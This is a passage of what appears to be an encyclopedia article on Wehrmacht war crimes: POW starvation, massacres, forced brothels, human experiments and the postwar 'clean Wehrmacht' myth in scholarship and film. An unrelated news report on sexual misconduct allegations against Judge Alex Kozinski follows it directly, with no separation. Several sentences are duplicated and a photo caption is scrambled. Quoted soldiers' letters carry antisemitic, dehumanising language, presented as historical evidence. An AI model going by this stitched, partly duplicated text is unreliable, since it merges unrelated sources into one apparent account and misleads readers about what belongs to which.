especially in the eastern European territories.[86]:288 In October 1940 the laws on rape were changed, making it a "petitioned crime" – that is a crime for which punishment had to be requested. Historian Christa Paul writes that this resulted in "a nearly complete absence of prosecution and punishment for rape".[86]:288 There were rape cases in the east where the perpetrators were sentenced if the rape was highly visible, damaging to the image of the German Army and the courts were willing to pass a condemning verdict against the accused.[86]:289  According to the historian Regina Mühlhäuser, the Wehrmacht also used sexual violence and undressing in numerous cases of interrogations.[95] Mühlhäuser adds that the number of illegitimate children born in the occupied regions did not exceed the prewar time. She comes to the conclusion that rapes on the Eastern front were not singular cases but has to admit that the state of source material is very poor.[96]  Persecution of Soviet POWs [ edit ]  POW Camps [ edit ]  The Geneva Convention relative to the Treatment of Prisoners of War had been signed by Germany and most other countries[97] in 1929, while the USSR and Japan did not sign until after the war (the final version of the Third Geneva Convention of 1949). This meant that Germany was legally obliged to treat all POWs according to it, while in turn, Germans captured by the Red Army could not expect to be treated in such a manner. The Soviet Union and Japan did not treat prisoners of war in accordance with the Geneva Convention. While the Wehrmacht's prisoner-of-war camps for inmates from the west generally satisfied the humanitarian requirement prescribed by international law, prisoners from Poland (which never capitulated) and the USSR were incarcerated under significantly worse conditions.[98]  By December 1941, more than 2.4 million Soviet Red Army troops had been taken prisoner. These men suffered from malnutrition and diseases such as typhus that resulted from the Wehrmacht's failure to provide sufficient food, shelter, proper sanitation and medical care. Prisoners were regularly subject to torture, beatings and humiliation. All Jews, commissars, "intellectuals" and Muslims serving in the Red Army were either executed by the Wehrmacht or handed over to the SS to be shot.[99]  The Muslim POWs were shot because they were circumcised, and therefore might be Jewish; it was felt to be safer to simply shoot all circumcised POWs rather run the risk that a Jewish POW might escape execution by claiming to be a Muslim.[99] Reflecting the close co-operation between the Wehrmacht and the SS was an Einsatzgruppen report, which read:  In Borispol, following a demand by the Commandant of the local P/W camp, a platoon of Sonderkommando 4 shot 752 Jewish prisoners of war on 14 October and 356 on 16 October 1941 including several commissars and 78 wounded Jews handed over by the camp medical officer.[99]  According to a RHSA report of 5 December 1941, the Wehrmacht had since 22 June handed over to the Einsatzgruppen 16, 000 Soviet POWs to be "liquidated".[100] A Typical of the Wehrmacht's treatment of Soviet POWs were the reports of the 11th Army commanded by Erich von Manstein on the "wastage" rates in the first half of 1942. According to the reports:[100]  Date Died/shot Escaped Handed over  to the SD Discharged Total wastage 7.1.1942 135 181 140 26 507 6.2.1942 1,116 155 111 2,293 3,680 6.3.1942 1,115 36 66 298 1,522  Between the launching of Operation Barbarossa in the summer of 1941 and the following spring, 2.8 million of the 3.2 million prisoners taken died while in German hands.[101] The German failure to attain their anticipated victory in the East led to significant shortages of labor for German war production and, beginning in 1942, prisoners of war in the eastern POW camps – primarily Soviets – were seen as a source of slave labor to keep Germany's wartime economy running.[101]  On 6 August 1941, the OKW declared that Soviet POWs capable of work were to receive 2,200 calories/day and those not capable of work 2,040 calories/day.[102] On 21 October 1941, the OKW ordered a huge reduction in the food rations for Soviet POWs, with POWs incapable of work henceforth to receive only 1,490 calories/day. In a meeting of senior generals called at Orša on 13 November 1941, the Army's First quarter-master General Eduard Wagner stated "Non-working prisoners of war in the camps are to starve".[103]  5.7 million Soviet soldiers were taken prisoner during the war, of whom at least 3.3 million (58 percent of the total) died in captivity.[104]  Massacres [ edit ]  The killing of POWs by Wehrmacht soldiers started during the September 1939 Poland campaign. In many cases large groups of Polish soldiers were murdered after capture. Hitler's Commando Order, issued in 1942, provided "justification" for the shooting of enemy commandos, whether uniformed or not.[citation needed]  The massacres include that of at least 1500 black French POWs of West African origin and was preceded by propaganda depicting the Africans as savages.[105] From October 1942 onwards, the Wehrmacht carried out the 'Commando Order' calling for the summary execution of all captured commandos, even if in uniform. After the Italian armistice in 1943, many POWs were executed on several occasions when Italian troops resisted their forcible disarmament by the Germans. The massacre of the Acqui Division at Kefalonia is the most infamous.  On 26 March 1944, 15 uniformed US Army officers and men were shot without trial at La Spezia, in Italy, after orders of the commander of the German 75th Army Corps, General Anton Dostler, despite the opposition of his subordinates of the 135th Fortress Brigade. Dostler was sentenced to death by an American military tribunal and executed by firing squad in December 1945.[106][107]  Other Wehrmacht war crimes [ edit ]  Wehrmacht brothel system [ edit ]  Soldatenbordell) in France A military brothel () in Brest  Under the German occupation, a widespread system of sexual slavery (forced prostitution) was instituted.[86] The Wehrmacht also ran brothels where women were forced to work.[80][108] The reason for establishing these brothels was the German officials' fear of venereal disease and onanism (masturbation). The Oberfeldarzt der Wehrmacht (Chief Field Doctor of the Wehrmacht) drew attention to "the danger of [the] spread of homosexualism".[53][109]  On 3 May 1941, the Foreign Ministry of the Polish Government in Exile in London issued a document describing the mass raids carried out in Polish cities with the aim of capturing young women, who were later forced to work in brothels attended by German officers and soldiers.[53]  In the Soviet Union women were kidnapped by German forces for prostitution; one report by the International Military Tribunal stated that "in the city of Smolensk the German Command opened a brothel for officers in one of the hotels into which hundreds of women and girls were driven; they were mercilessly dragged down the street by their arms and hair."[110]  The Nuremberg trials did not prosecute anyone for rape or other sexual violence; rape was defined as a crime against humanity, but prosecutors deemed that such crimes had "no nexus to war".[86]  Reprisal actions [ edit ]  In Yugoslavia and Greece, many villages were razed and their inhabitants murdered during anti-partisan operations. Examples in Greece include: Alikianos, Kalavryta, Kali Sykia, Kallikratis, Kleisoura, Kondomari, Kommeno, Lyngiades, Mesovouno, Mousiotitsa and Paramythia;[111] the razings of Kandanos and Anogeia;[112] the holocausts of Viannos and Kedros.[112]  In occupied Poland and the USSR, hundreds of villages were wiped out and their inhabitants murdered. In the USSR, captured Soviet and Jewish partisans were used to sweep fields of land mines. In a number of occupied countries, the Wehrmacht's response to partisan attacks by resistance movements was to take and shoot hostages. Examples are: Putten (Netherlands), Oradour-sur-Glane (France), Telavåg (Norway) and Lidice (Czech Republic). As many as 100 hostages were murdered for every German killed. In 1944, prior to and after the D-Day invasion, the French Resistance and the Maquis increased their activities against all German organisations, including the Wehrmacht and Waffen-SS.  In issuing orders for hostage-taking, Keitel stated that "it is important that these should include well-known personalities or members of their families." A Wehrmacht commander in France stated that "the better known the hostages to be shot, the greater will be the deterrent effect on the perpetrators". The Wehrmacht's hostage policy was also pursued in Greece, Yugoslavia, Scandinavia, and Poland.  Forced labor [ edit ]  According to the Encyclopedia of Camps and Ghettos, it was typical for camps devoted to armaments production to be run by the branch of the Wehrmacht that used the products. Dozens of camps and subcamps were staffed primarily by the Luftwaffe alone.[a] In 1944, many Wehrmacht soldiers were transferred to the SS-Totenkopfverbände to alleviate personnel shortages in concentration camps.  Destruction of Warsaw [ edit ]  Up to 13,000 soldiers and between 120,000 and 200,000 civilians were killed by German-led forces during the Warsaw Uprising. At least 5,000 German regular soldiers assisted the SS in crushing Polish resistance, most of them reserve units.[159] Human shields were used by German forces during the fighting.[160]  Human experimentation [ edit ]  Generaloberstabsarzt (Colonel General, Medical Service); Medical Inspector of the Army (Heeressanitätsinspekteur); and Chief of the Medical Services of the Armed Forces (Chef des Wehrmachtsanitätswesens). He was convicted and sentenced to life imprisonment Siegfried Handloser at Nuremberg in November 1946. He was(Colonel General, Medical Service); Medical Inspector of the Army (); and Chief of the Medical Services of the Armed Forces (). He was convicted and sentenced to life imprisonment  Throughout the war Germany engaged in numerous experiments on human prisoners and POWs. The Wehrmacht had full knowledge of those experiments, and performed some of its own. It provided assistance regarding:  In many cases the test subjects, even if they survived, were murdered afterwards to study any changes within their bodies that happened during the experiment.[162]  Examples of experiments conducted by the Wehrmacht include:  Experiments on homosexuals: Wehrmacht doctors wanted to "cure" homosexuality by hormone treatments and putting homosexuals into battle. [163]  doctors wanted to "cure" homosexuality by hormone treatments and putting homosexuals into battle. Experiments on prisoners at Auschwitz-Birkenau by doctor Emil Kaschub. Kaschub came from Upper Silesia and was an ensign in the Wehrmacht (he was not a member of the SS). He performed experiments on the limbs of middle-aged and young prisoners; they would deliberately be infected with various toxic substances, which caused sores, abscesses and pain. The condition of the patients would be photographed by Kaschub every few days and liquid from their wounds collected. The probable motive for those experiments was to find out how soldiers made themselves sick in order to escape service in the Wehrmacht . [164] [165] [166]  (he was not a member of the SS). He performed experiments on the limbs of middle-aged and young prisoners; they would deliberately be infected with various toxic substances, which caused sores, abscesses and pain. The condition of the patients would be photographed by Kaschub every few days and liquid from their wounds collected. The probable motive for those experiments was to find out how soldiers made themselves sick in order to escape service in the . In August 1941. the staff doctor assigned to the Sixth Army, Gerhart Panning, learned about captured Russian dumdum bullets by using Jewish POWs. To determine the effects of this type of ammunition on German soldiers, he decided to test them on other human beings after asking SS-Standartenführer (Colonel) and a member of the SD Paul Blobel for some "guinea pigs", (Jewish POWs).[167][168]  Biological warfare [ edit ]  During the war members of the Wehrmacht attempted to influence Hitler's decision to study biological warfare only regarding defense. The head of the Science Division of the Wehrmacht, Erich Schumann, urged the Führer that "America must be attacked simultaneously with various human and animal epidemic pathogens, as well as plant pests."[169] Laboratory tests were prepared for the use of plague, anthrax, cholera and typhoid. The possibility of using foot and mouth disease against Britain was also studied.[170]  Postwar views [ edit ]  Evolving analysis [ edit ]  At the end of the war in 1945, several Wehrmacht generals made a statement that defended the actions against partisans, the executions of hostages and the use of slave labor as necessary to the war effort. The generals contended that the Holocaust was committed by the SS and its partner organizations, and that the Wehrmacht command had been unaware of these actions in the death camps. The statement said that the armed forces had fought honorably and left the impression that the Wehrmacht had not committed war crimes.[citation needed]  However, individual high-ranking Wehrmacht officers stood trial for war crimes. The Oberkommando der Wehrmacht (OKW) commander-in-chief, Field Marshal Wilhelm Keitel, and chief of operations staff Alfred Jodl were both indicted and tried for war crimes by the International Military Tribunal at Nuremberg in 1946. They were convicted of all charges, sentenced to death and executed by hanging, although Jodl was acquitted post-mortem seven years later. While the tribunal declared that the Gestapo, SD and SS (including the Waffen-SS) were inherently criminal organizations, the court did not reach the same conclusion with respect to the Wehrmacht General Staff and High Command. The accused were members of the Nazi Party itself and were executing the party's beliefs through their rank. The German Wehrmacht along with Allied armies committed what are classified as war crimes. The SS and political "Armed" groups committed what are classified as crimes against humanity.  The prosecution of war crimes lost momentum during the 1950s as the Cold War intensified; both German states needed to establish armed forces and could not do so without trained officers and soldiers that had served in the Wehrmacht. German historiography in the 1950s viewed war crimes by German soldiers as exceptional rather than ordinary; soldiers were seen as victims of the Nazi regime. Traces of this attitude can still be seen in some German works today, which minimize the number of soldiers who took part in Nazi crimes.[171] This was especially the case as the German public in the immediate post-war period were more interested in seeing themselves rather than others as victims.[172] Thus the subject of Red Army atrocities against German civilians in 1944–45 received vastly more popular and historical interest in the 1950s than did the subject of Wehrmacht atrocities against Soviet civilians in 1941–44.[172]  Beyond that, Operation Barbarossa had been portrayed in Germany as a "preventive war" forced on Germany by Soviet attack alleged to be planned for July 1941.[172] This claim was widely believed in the Reich during the war, and indeed was so popular that as late as the 1950s some West German historians were still arguing Operation Barbarossa was a "preventive war".[172] As a result of this view of Operation Barbarossa, for many Germans, violence inflicted by the Wehrmacht on Soviet civilians and POWs was seen as something that the Soviets had brought down on themselves, hence the absence of any guilt on the part of many Germans.[173] Cold War priorities and taboos about revisiting the most unpleasant aspects of World War II meant that the Wehrmacht's role in war crimes was not seriously re-examined until the early 1980s.[174][175]  In their memoirs, German Army generals claimed that the war had been a "clean war" on their part with the Army fighting because of the noble Prussian-German traditions, patriotism and a deep sense of honour and duty and that National Socialism had virtually no influence on the Army.[176] In this version, almost all German war crimes were the work of the SS and any "excesses" committed by the Army were only the product of a long and bitter war and were no different from Allied war crimes.[176] Very typical were the claims of one Infantry commander, who stated in his memoirs that all of the battles fought by his men were "always fairly conducted, though tough and bitter."[177] Such claims were widely believed not only in Germany but abroad, with the British military historian Captain Basil Liddell Hart writing that "the German Army in the field on the whole observed the rules of war better than in 1914–18".[178]  On 11 December 1979, the West German television show Report aired a documentary entitled "Crimes of the Wehrmacht in World War Two".[172] The public's reaction was almost overwhelmingly negative, with World War II veterans leading a campaign to have the producer of Report fired for the "defamation" of German soldiers. This despite the fact – as the German historian Jürgen Förster was to write in 1989 – that the producers of the documentary had gone out of their way to be fair and unbiased.[172]  In 1986, the German historian Hans Mommsen wrote about the role of the Wehrmacht under National Socialism:  The leadership of the Wehrmacht rather willingly made themselves into accomplices in the policy of extermination. It did this by generating the "criminal orders" and implementing them. By no means did they merely passively support the implementation of their concept, although there was a certain reluctance for reasons of military discipline and a few isolated protests. To construct a "casual nexus" over all this amounts in fact to steering away from the decisive responsibility of the military leadership and the bureaucratic elites.[179]  British historian Ian Kershaw wrote that the genocide and extreme brutality used by the Nazis was their way of ensuring the Lebensraum ("living space") for the people who met the strict requirements of being part of Hitler's Aryan Herrenvolk ("Aryan master race") and the elimination of the Slavic people:  The Nazi revolution was broader than just the Holocaust. Its second goal was to eliminate Slavs from central and eastern Europe and to create a Lebensraum for Aryans. ... As Bartov (The Eastern Front; Hitler's Army) shows, it barbarised the German armies on the eastern front. Most of their three million men, from generals to ordinary soldiers, helped exterminate captured Slav soldiers and civilians. This was sometimes cold and deliberate murder of individuals (as with Jews), sometimes generalised brutality and neglect. ... German soldiers' letters and memoirs reveal their terrible reasoning: Slavs were 'the Asiatic-Bolshevik' horde, an inferior but threatening race. Only a minority of officers and men were Nazi members.[180]  In 1989, the British historian Richard J. Evans wrote that right from the beginning of the war against the Soviet Union, the Wehrmacht fought a genocidal war of "extreme brutality and barbarism".[181] Evans noted that the Wehrmacht officers regarded the Russians as "sub-human", were from the time of the invasion of Poland in 1939 telling their troops that war was caused by "Jewish vermin", and explained to the troops that the war against the Soviet Union was a war to wipe out what were variously called "Jewish Bolshevik subhumans", the "Mongol hordes", the "Asiatic flood" and the "red beast".[182]  Such views helped to explain why 3,300,000 of the 5,700,000 Soviet POWs taken by the Germans died in captivity.[183] In 1992, Omer Bartov noted that the three leaders of the "new revisionism" in German history that sparked the Historikerstreit of the late 1980s were all in some ways seeking to promote the image of the Wehrmacht as a force for the good, and seeking to portray the Wehrmacht as a victim of the Allies rather the victimizer of the peoples of Europe, writing of "...the bizarre inversion of the Wehrmacht's roles proposed by all three exponents of the new revisionism, whereby overtly or by implication the Army is transformed from culprit to saviour, from an object of hatred and fear to one of empathy and pity, from victimizer to victim".[184] Specifically, Bartov noted that:  Michael Stürmer's geographical interpretation of German history meant that Germany's "mission" in Central Europe was to serve as a bulwark against the Slavic menace from the East in both World Wars. [184]  Ernst Nolte's argument about a "casual nexus" with the National Socialist genocide as a logical, if extreme response to the horrors of Communism led to Wehrmacht crimes in the Soviet Union being portrayed as essentially justified. [184] This was even more the case as Nolte insisted that Operation Barbarossa was as Hitler claimed a "preventive war", which meant that for Nolte, Wehrmacht war crimes were portrayed as a defensive response to the threat posed to Germany by the "Asiatic hordes". [184]  This was even more the case as Nolte insisted that Operation Barbarossa was as Hitler claimed a "preventive war", which meant that for Nolte, Wehrmacht war crimes were portrayed as a defensive response to the threat posed to Germany by the "Asiatic hordes". Andreas Hillgruber's call for historians to "identity" and "empathize" with German troops fighting on the Eastern Front in 1944–45 implicitly devalued the lives of those suffering and dying in the Holocaust, which was allowed to continue in part because the German troops held out for so long.[184]  Bartov wrote that all three historians had in varying ways sought to justify and excuse Wehrmacht war crimes by depicting the Wehrmacht as engaging in a heroic battle for Western civilization, often using the same language as the Nazis such as referring to the Red Army as the "Asiatic hordes".[184] Bartov ended that these sorts of arguments reflected a broader unwillingness of the part of some Germans to admit to what their Army did during the war.[184] In 1998, Jürgen Förster, a German historian, wrote that for too long most people have accepted at face value the self-serving claims made by generals like Erich von Manstein and Siegfried Westphal who promoted the idea of the Wehrmacht in their memoirs as a highly professional, apolitical force who were victims of Adolf Hitler rather than his followers.[185]  Förster argues the Wehrmacht played a key role in the Holocaust in Eastern Europe and other war crimes.[186] In 1999, New Zealand historian Christian Leitz wrote that the claims promoted after the war that the Wehrmacht had been an "untarnished shield" with the Army somehow standing apart from the regime it served so loyally was a "myth" that no serious historian had taken seriously since the 1980s.[174][175]  Films [ edit ]  In his 2004 essay "Celluloid Soldiers" about post-war German films, the Israeli historian Omer Bartov wrote that German films of the 1950s showed the average German soldier as a heroic victim: noble, tough, brave, honourable and patriotic, while fighting hard in a senseless war for a regime that he did not care for.[187] The 08/15 film trilogy of 1954–55 concerns a sensitive young German soldier named Asch (Joachim Fuchsberger). No mention is ever made of the genocidal aspects of Germany's war in the East with instead the German soldiers being shown as the victims of a war that they can not fathom the reasons for.[188] Bartov commented that given the intense indoctrination in the Wehrmacht about how the war against the Soviet Union was a war to destroy "Judeo-Bolshevism" that Asch would most definitely have known what they were fighting for.[188]  The war on the Eastern Front was portrayed in a manner that suggested that all who fought in the war were equally victims, but since the focus in the 08/15 films is on the unit commanded by Asch inevitably the impression is given that it was German soldiers who were the primary victims of the war.[188] The term 8/15 refers to a type of German machine gun used in World War I that was manufactured in such quantities that 8/15 became German Army slang for anything was standard issue, which implied that Asch and the soldiers under his command were Everyman characters of the war on the Eastern Front.[189]  The last of the 08/15 films ends with Germany being occupied by a gang of American soldiers portrayed as bubble-gum chewing, slack-jawed morons and uncultured louts, totally inferior in every respect to the heroic German soldiers.[188] The only exception is the black-marketing Jewish American officer, who is shown as both hyper-intelligent and unscrupulous, which Bartov noted seems to imply that the real tragedy of World War II was the Nazis did not get a chance to exterminate all of the Jews, who have now returned with Germany's defeat to once more exploit the German people.[188] This is especially the case because the Jewish officer speaks his German with an upper-class accent, which is evidently meant to suggest he is a rich German Jew who fled to the United States in the 1930s and upon his return after 1945 is engaging in the same sort of black-market activities that had led the Nazis to run people like him out of Germany in the first place.[188]  In Der Arzt von Stalingrad (The Doctor from Stalingrad) of 1958, dealing with German POWs in the Soviet Union, the Germans are portrayed as more civilized, humane and intelligent than the Soviets, who are shown for the most part as Mongol savages who brutalized the German prisoners.[190] One of the German POWs, the dashing Doctor Sellnow (Walter Reyer), successfully seduces the beautiful and tough Red Army Captain Alexandra Kasalniskaya (Eva Bartok), who prefers him to the sadistic and hideously deformed camp commandant Piotr Markov (Hannes Messemer), which as Bartov comments is also meant to show that even in defeat, German men were more sexually virile and potent than their Russian counterparts.[190] This was especially important to German audiences because of the "crisis in masculinity" in Germany after the war, namely doubts about how manly German men were after losing the war.[189] Hence the exaggerated picture German films liked to show of the typical Wehrmacht soldier as an ultra-macho type who was just as much a victorious conquering hero in the bedroom as on the battlefield.[191]  Bartov argues the need to show German soldiers as manly war heroes meant they could never be shown as war criminals.[191] Bartov wrote that the portrayal of the Soviet guards as mostly Asian shows disturbing affinities to war-time Nazi propaganda, where the Red Army was often described as "the Asiatic horde".[190] A recurring theme in Der Arzt von Stalingrad was that the German soldiers were being punished for crimes that they had not committed.[190] In the 1959 film Hunde, wolt ihr ewig leben? (Dogs, do you want to live forever?), which deals with the Battle of Stalingrad, the focus is on celebrating the heroism of the German soldiers in that battle, who are shown as valiantly holding out against overwhelming odds with no mention at all of what those soldiers were fighting for, namely National Socialist ideology or the Holocaust. Bartov noted that the clear impression that these films give is that the average German soldier who fought on the Eastern Front was a hero worthy of the highest admiration.[192] This in turn led to a tendency to portray the war in the East in a manner that was devoid of its political context with the war being reduced to struggle between German soldiers whom the audiences were expected to like and admire vs. vast hordes of nameless, faceless, brutal Russian soldiers. In such a narrative, war crimes by the Wehrmacht had no place.[193]  This period also saw a number of films that depicted the military resistance to Hitler. In Des Teufels General (The Devil's General) of 1954, a Luftwaffe general named Harras (Curd Jürgens), loosely modeled on Ernst Udet, appears at first to be a cynical fool whose major interests in life appear to be beautiful women and alcohol, but who turns out to a gallant and upright anti-Nazi officer who is secretly sabotaging the German war effort by designing faulty planes. General Harras, who is represented as a great German patriot has turned against the Nazi regime because of certain unspecified "abominations" which are neither shown nor explained.[194] Bartov commented that in this film, the German officer corps is shown as a group of fundamentally noble and honourable men who happened to be serving an evil regime made up of a small gang of gangsterish misfits totally unrepresentative of German society, which served to exculpate both the officer corps and by extension German society.[195]  This impression is further reinforced by the comic exchanges between the decent and upright Harras and various thuggish Nazis. Officers such as Harras may have served a criminal regime, but Des Teufels General seems to suggest that they were never a part of that regime.[194] Bartov wrote that no German film of the 1950s showed the deep commitment felt by many German soldiers to National Socialism, the utterly ruthless way the German Army fought the war and the mindless nihilist brutality of the later Wehrmacht.[196]  Bartov also wrote that German film-makers liked to show the heroic last stand of the 6th Army at Stalingrad, but none has so far showed the 6th Army's massive co-operation with the Einsatzgruppen in murdering Soviet Jews in 1941 during its march across the Ukraine.[197] Likewise, Bartov commented that German films tended to dwell on the suffering of the 6th Army during the Battle of Stalingrad and its aftermath without reflecting on the fact that it was the Germans who invaded the Soviet Union and that the Russians were fighting to defend their country.[197] Bartov went on to state that as late as the 1991 film Mein Krieg (My War), featuring interview footage of six German veterans juxtaposed with their amateur films the veterans shot during the war, contains strong hints that the interviewees saw and/or were involved in war crimes with at one point a mass grave of civilians in Russia being glimpsed in the background of one of the amateur films; but the point is not pressed by the film-makers.[198]  Only with Jenseits des Krieges (released in the US as East of War) in 1996, a documentary directed by Ruth Beckermann dealing with the public's reaction to the exhibition "War of Extermination" in Vienna in 1995, did a German film admit to Wehrmacht war crimes being commonplace instead of an exception to the rule.[199] Some veterans in Jenseits des Krieges denied that the German Army committed any war crimes at all while others express relief at long last that the truth has been told.[200] One critic wrote of the veterans in Jenseits des Krieges that "Some are sorry for their brutality, while others rationalize such acts as shooting POWs, raping women and butchering Jewish people as part of what soldiers were expected to do".[201]  Wehrmachtsausstellung [ edit ]  The Wehrmachtsausstellung (German: German Army exhibition) was the name for two exhibitions focusing on war crimes of the Wehrmacht committed on the East Front from 1941 to 1944. They ran from 1995 to 1999 in the original form, and (following extensive criticism) from 2001 to 2004 in a revised form.[citation needed] Since then, it has permanently been at the Deutsches Historisches Museum in Berlin. The exhibition was the subject of a documentary, Der unbekannte Soldat ("The Unknown Soldier") by Michael Verhoeven, in 2006. It compares the two versions of the exhibition, and its maker, Jan Philipp Reemtsma.[citation needed]  Exhibition about the Wehrmacht in Poland in 1939 [ edit ]  One criticism was that both exhibitions only covered the German presence in the Soviet Union between 1941 and 1945 and excluded the German occupation of Poland after September 1939. The Polish exhibition "Größte Härte ... Verbrechen der Wehrmacht in Polen September/Oktober 1939", a cooperative effort of the Polish Institute of National Remembrance and the German Historical Institute Warsaw was presented on 1 September 2004, in Poland. A German version was presented in 2005.[202] It was scheduled to be shown in Nuremberg at the Documentation Center of the Nazi Party Rallying Grounds from 1 September 2007 to early 2008.  Analysis of photos and letters [ edit ]  German soldiers photographing the hanging of Soviet citizens accused of being partisans  ... rumors immediately began circulating of appalling crimes committed in the occupied territories – wholesale deportations and systematic massacres ... A story solemnly made the rounds of the world's newspapers that storks migrating from Holland to South Africa had been found with messages taped to their legs that read, "Help us! The Nazis are killing us all!" Sandlin, Lee (March 1997). "Losing the War". Chicago Reader.[204]  The attitude of German soldiers towards atrocities committed on Jews and Poles in World War II was also studied using photographs and correspondence left after the war. Photographs serve as a valuable source of knowledge; taking them and making albums about the persecution of Jews was a popular custom among German soldiers. These pictures are not the official propaganda of the German state but represent personal experience. Their overall attitude is antisemitic.[205]  German soldiers as well as police members took pictures of Jewish executions, deportations, humiliation and the abuse to which they were also subjected. According to researchers, pictures indicate the consent of the photographers to the abuses and murders committed.[205] "This consent is the result of several factors, including the anti-Semitic ideology and prolonged, intensive indoctrination". Archival evidence as to the reaction to policies of racial extermination can also be traced in various letters that survived the war.[205] Many letters from Wehrmacht soldiers were published in 1941 and entitled "German Soldiers See the Soviet Union"; this publication includes authentic letters from soldiers on the Eastern front. To give an example of the intensive indoctrination "that transcends the mere results of military service", researchers Judith Levin and Daniel Uziel quote a German soldier writing:  The German people is deeply indebted to the Fuehrer, because if these animals, our enemies here, had reached Germany, murders of a nature not yet witnessed in the world would have occurred ... No newspaper can describe what we have seen. It verges on the unbelievable, and even the Middle Ages do not compare with what has transpired here. Reading Der Stuermer and observing its photos give only a limited impression of what we have seen here and of the crimes committed here by the Jews.  Judith Levin and Daniel Uziel state that this type of writing and opinion was very common in correspondence left by German soldiers, especially on the Eastern Front.[205] Other samples of German soldiers' letters were sent home and copied during the war by a special Polish Home Army cell that infiltrated the German postal system.[206] These letters have been analyzed by historians and the picture they paint is similar to views expressed by Levin and Uziel. Many soldiers wrote openly about the extermination of Jews and were proud of it. Support for "untermensch" and "master race" concepts were also part of the attitude expressed by German soldiers.[206] Presented examples reflecting this trend include samples such as:  I'm one of those who are decreasing [the] number of partisans. I put them against the wall and everyone gets a bullet in his head, [a] very merry and interesting job. ...My point of view: this nation deserves only the knaut, only by it can they be educated; a part of them already experienced that; others still try to resist. Yesterday I had [the] possibility to see 40 partisans, something like that I had never encountered before. I became convinced that we are the masters, others are untermenschen.[206]  Much more evidence of such trends and thoughts among Wehrmacht soldiers exists and is subject to research by historians.[205]  The historians responsible for the exhibition assume that the anti-Semitic climate and propaganda in Nazi Germany had an immense impact on the entire population and emphasize the importance of the indoctrination.[205]  See also [ edit ]  References [ edit ]  Informational notes  ^ Buchenwald subcamps: Mühlhausen and Wernigerode  Dachau subcamps: Horgau, Fischen, Ottobrunn, Stephanskirchen, and Sudelfeld  Flossenbürg subcamps: Altenhammer, Holleischen, and Mülsen St. Micheln  Gross-Rosen subcamps: Brieg and Kittlitztreben  Herzogenbusch subcamps: Breda, Leeuwarden, and Venlo  Hinzert subcamps: Langendiebach I and II, Mainz-Finthen, Merzhausen, Seligenstadt, and Usingen  Mauthausen-Gusen subcamps: Melk, Wiener Neudorf, and Schwechat  Mittelbau-Dora subcamps: Ellrich  Natzweiler subcamps: Cochem-Bruttig, Erzingen, Neckarelz I and II, and Mannheim-Waldhof  Neuengamme subcamps: Beendorf, Bremen, Bremen-Obernheide, Kaltenkirchen, and Meppen-Dalum  Ravensbrück subcamps: Karlshagen I and II  SS-Baubrigaden: 13 camps involved in the construction of V-1 weapons sites in occupied France  Sachsenhausen subcamps: Günzerode, Mackenrode, Nüxi, and Wieda  Stutthof subcamps: Gerdauen, Heiligenbeil, Jesau, Praust, Schippenbeil, and Seerappen Concentration camps staffed primarily by Luftwaffe guards include:  'Citations  Bibliography
-Nine more women have accused a prominent US appeals court judge of subjecting them to inappropriate sexual conduct or comments.  The latest allegations against Judge Alex Kozinski of the 9th US Circuit Court of Appeals go back decades and include women who met him at events, according to a Friday report in the Washington Post.  The accusations 67-year-old Pasadena, California-based judge include lewd comments and four women who say he touched or kissed them.  Christine Miller, a retired US Court of Federal Claims judge, said Kozinski grabbed her breasts during a car ride in 1986 after a legal community function in the Baltimore area.  She said it came after she declined his offer to go to a motel and have sex.  'He said if you won't sleep with me, I want to touch you, and then he reached over, and — this was the most antiseptic — he grabbed each of my breasts and squeezed them,' Miller said.  Six women allege Judge Alex Kozinski (pictured in July 2014) subjected them to inappropriate sexual comments or conduct  The new accusers include Christine Miller (left), a retired US Court of Federal Claims judge, and Leah Litman (right), a law professor at the University of California, Irvine  Leah Litman, a law professor at the University of California, Irvine, told the Post that the judge talked about having just had sex and pinched her side and leg at a restaurant the night before they appeared together on a panel at her school in July.  A lawyer who was not identified said Kozinski approached her when she was alone at a legal event in Los Angeles in 2008 and kissed her on the lips and gave her a bear hug with no warning.  The newspaper said the woman's husband confirmed the incident and said the couple didn't think they could do anything because of the judge's position.  Kozinski said in a statement through an attorney that many of the things being said about him were not true but he deeply regretted that his 'unusual sense of humor caused offense or made anyone uncomfortable.'  'I have always tried to treat my male and female clerks the same,' he said.  Kozinski was chief judge of the 9th Circuit, the largest federal appeals court circuit in the country, from 2007 to 2014. He is known for his irreverent opinions and his clerks often win prestigious clerkships at the U.S. Supreme Court.  The 9th Circuit has opened a misconduct inquiry that was transferred Friday to the Judicial Council of the 2nd U.S. Circuit Court of Appeals in New York.  Last week, The Post reported that six former clerks or more junior staff members accused Kozinski of inappropriate behavior, including showing them pornography.  Heidi Bond, who clerked for the judge from 2006 to 2007, told the newspaper she recalled three instances in which he asked her to look at images of naked people.  She said one set of images was of college-age students where some were 'inexplicably naked while everyone else was clothed.'  Another set was a type of digital flip book that allowed users to mix and match heads, torsos and legs to create an image of a naked woman.  Bond said the judge asked if she thought the pornography was photo-shopped or if it aroused her sexually.  'I was in a state of emotional shock, and what I really wanted to do was be as small as possible and make as few movements as possible and to say as little as possible to get out,' said Bond, now 41.  Kozinski, who is 67 and still serving as a judge on the court, said in a statement to the newspaper that he has had more than 500 employees in his chambers over a 35-year career as judge.  Judge Alex Kozinski is pictured in this file photograph from September 22, 2003  'I would never intentionally do anything to offend anyone and it is regrettable that a handful have been offended by something I may have said or done,' he said.  A spokesman for the court, David Madden, referred further comment to Chuck Winner of Winner & Associates. Winner did not immediately return a request for comment.  The Post interviewed Bond and Emily Murphy, a law professor who worked for a different judge on the 9th Circuit, in on-the-record interviews. The four other women in the first report were not named out of fear they might face retaliation.  Murphy said she was discussing training regimens with other clerks at a San Francisco hotel in 2012 when Kozinski approached her and said the gym in the 9th Circuit courthouse was nice because other people were seldom there.  He then said if that were the case, she should work out naked, according to Murphy and two others present at the time who spoke to The Post.  The newspaper interviewed another former clerk of the judge who said he showed her porn; she declined to provide specifics out of fear the judge could identify her.  The women did not file formal complaints at the time.  In 2008, the Los Angeles Times reported that Kozinski had an email list that he used to distribute crude jokes to and he had a publicly accessible website that contained pornography.  A judicial investigation found that Kozinski did not intend for the material to be accessed by the public.  The 9th Circuit courts in San Francisco has clashed repeatedly with President Donald Trump.  Judges in the circuit have blocked both of Trump's bans on travelers from a group of mostly Muslim countries and halted his attempt to strip funding from so-called sanctuary cities.  Kozinski joined four fellow conservative judges in an opinion in March that did not mention Trump by name, but said 'personal attacks' on judges who blocked the administration's first travel ban were 'out of all bounds of civic and persuasive discourse.'
